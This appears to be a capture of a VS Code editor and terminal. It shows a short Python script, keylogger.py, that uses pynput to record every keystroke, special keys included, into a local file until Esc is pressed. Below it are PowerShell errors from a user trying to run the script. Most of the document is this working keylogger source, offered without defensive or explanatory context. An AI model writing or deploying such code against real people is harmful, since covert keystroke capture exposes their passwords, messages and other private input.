

keylogger.py X

```
1 from pynput import keyboard
2
3 def on_press(key):
4     try:
5         # Log the character of the key pressed
6         with open("keylog.txt", "a") as log_file:
7             log_file.write(key.char)
8     except AttributeError:
9         # Log special keys (e.g., space, enter, backspace)
10        with open("keylog.txt", "a") as log_file:
11            log_file.write(f'[{key}]')
12
13 def on_release(key):
14     # Stop keylogger when Esc key is pressed
15     if key == keyboard.Key.esc:
16         return False
17
18 # Set up the listener for key press and release events
19 with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
20     listener.join()
21
```

PROBLEMS OUTPUT DEBUG CONSOLE TERMINAL PORTS COMMENTS

Suggestion [3,General]: The command keylogger.py was not found, but does exist in the current location. Windows PowerShell does not load commands from the current location by default. If you trust this command, instead type: ".\keylogger.py". See "get-help about_Command_Precedence" for more details.

PS C:\Users\alokr\Downloads> cd keylogger.py

cd : Cannot find path 'keylogger.py' because it does not exist.

At line:1 char:1

+ cd keylogger.py

+ ~~~~~

+ CategoryInfo : ObjectNotFound: (keylogger.py:String) [Set-Location], ItemNotFoundException

+ FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.SetLocationCommand

PS C:\Users\alokr\Downloads> ./keylogger.py

0 0 0 0

Ln 9, Col 59 Spaces: 4 UTF-8 CRLF Python 3.12.2 64-bit tabnir

